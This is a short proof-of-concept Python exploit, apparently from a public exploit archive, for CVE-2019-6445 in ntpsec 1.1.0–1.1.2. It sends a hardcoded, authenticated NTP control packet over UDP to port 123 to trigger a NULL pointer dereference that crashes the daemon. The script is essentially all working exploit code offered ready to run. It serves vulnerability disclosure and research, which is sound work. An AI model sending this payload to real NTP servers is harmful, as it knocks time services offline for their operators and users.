NTPsec 1.1.2 - ntp_control Authenticated NULL Pointer Dereference Exploit

#!/usr/bin/env python
# Exploit Title: ntpsec 1.1.2 authenticated NULL pointer exception Proof of concept
# Bug Discovery: Magnus Klaaborg Stubman (@magnusstubman)
# Exploit Author: Magnus Klaaborg Stubman (@magnusstubman)
# Website: https://dumpco.re/bugs/ntpsec-authed-npe 
# Vendor Homepage: https://ntpsec.org/ 
# Software Link: ftp://ftp.ntpsec.org/pub/releases/ntpsec-1.1.2.tar.gz 
# Affected versions: ntpsec 1.1.0, 1.1.1, 1.1.2
# CVE: CVE-2019-6445
# Note: this PoC uses Keyid 1 with password 'gurka'

import sys
import socket

buf = ("\x16\x03\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x6c\x65\x61\x70" +
       "\x00\x00\x00\x01\x5c\xb7\x3c\xdc\x9f\x5c\x1e\x6a\xc5\x9b\xdf\xf5" +
       "\x56\xc8\x07\xd4")

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(buf, ('127.0.0.1', 123))